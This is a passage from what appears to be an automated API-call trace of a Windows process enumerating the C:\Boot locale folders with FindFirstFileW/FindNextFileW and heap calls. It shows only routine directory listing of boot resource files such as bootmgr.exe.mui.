	[0205.548] FindNextFileW (in: hFindFile=0x652398, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.548] FindNextFileW (in: hFindFile=0x652398, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootres.dll", cAlternateFileName="")) returned 1
	[0205.548] FindNextFileW (in: hFindFile=0x652398, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="en-US", cAlternateFileName="")) returned 1
	[0205.549] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x43f0050
	[0205.549] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x33ff584 | out: lpFindFileData=0x33ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0xffffe1ef, cFileName=".", cAlternateFileName="")) returned 0x652358
	[0205.549] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x33ff584 | out: lpFindFileData=0x33ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0xffffe1ef, cFileName="..", cAlternateFileName="")) returned 1
	[0205.550] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x33ff584 | out: lpFindFileData=0x33ff584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x1ee, dwReserved1=0xffffe1ef, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 1
	[0205.550] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x33ff584 | out: lpFindFileData=0x33ff584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x1ee, dwReserved1=0xffffe1ef, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 0
	[0205.550] FindClose (in: hFindFile=0x652358 | out: hFindFile=0x652358) returned 1
	[0205.550] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.550] FindNextFileW (in: hFindFile=0x652398, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="en-US", cAlternateFileName="")) returned 0
	[0205.550] FindClose (in: hFindFile=0x652398 | out: hFindFile=0x652398) returned 1
	[0205.550] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.551] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0205.551] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.552] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652258
	[0205.552] FindNextFileW (in: hFindFile=0x652258, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.552] FindNextFileW (in: hFindFile=0x652258, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.552] FindNextFileW (in: hFindFile=0x652258, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0205.552] FindClose (in: hFindFile=0x652258 | out: hFindFile=0x652258) returned 1
	[0205.552] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.552] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0205.552] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.552] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x6528d8
	[0205.553] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.553] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.553] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0205.553] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0205.553] FindClose (in: hFindFile=0x6528d8 | out: hFindFile=0x6528d8) returned 1
	[0205.553] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.553] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0205.553] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.553] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652798
	[0205.554] FindNextFileW (in: hFindFile=0x652798, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.554] FindNextFileW (in: hFindFile=0x652798, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.554] FindNextFileW (in: hFindFile=0x652798, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0205.554] FindClose (in: hFindFile=0x652798 | out: hFindFile=0x652798) returned 1
	[0205.554] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.554] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0205.554] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.554] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652218
	[0205.554] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.555] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.555] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0205.555] FindClose (in: hFindFile=0x652218 | out: hFindFile=0x652218) returned 1
	[0205.555] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.555] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0205.555] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.555] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x6525d8
	[0205.555] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.555] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.556] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0205.556] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0205.556] FindClose (in: hFindFile=0x6525d8 | out: hFindFile=0x6525d8) returned 1
	[0205.556] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.556] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1
	[0205.556] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.556] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652318
	[0205.556] FindNextFileW (in: hFindFile=0x652318, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.556] FindNextFileW (in: hFindFile=0x652318, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.557] FindNextFileW (in: hFindFile=0x652318, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0205.557] FindClose (in: hFindFile=0x652318 | out: hFindFile=0x652318) returned 1
	[0205.557] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.557] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0205.557] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.557] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652698
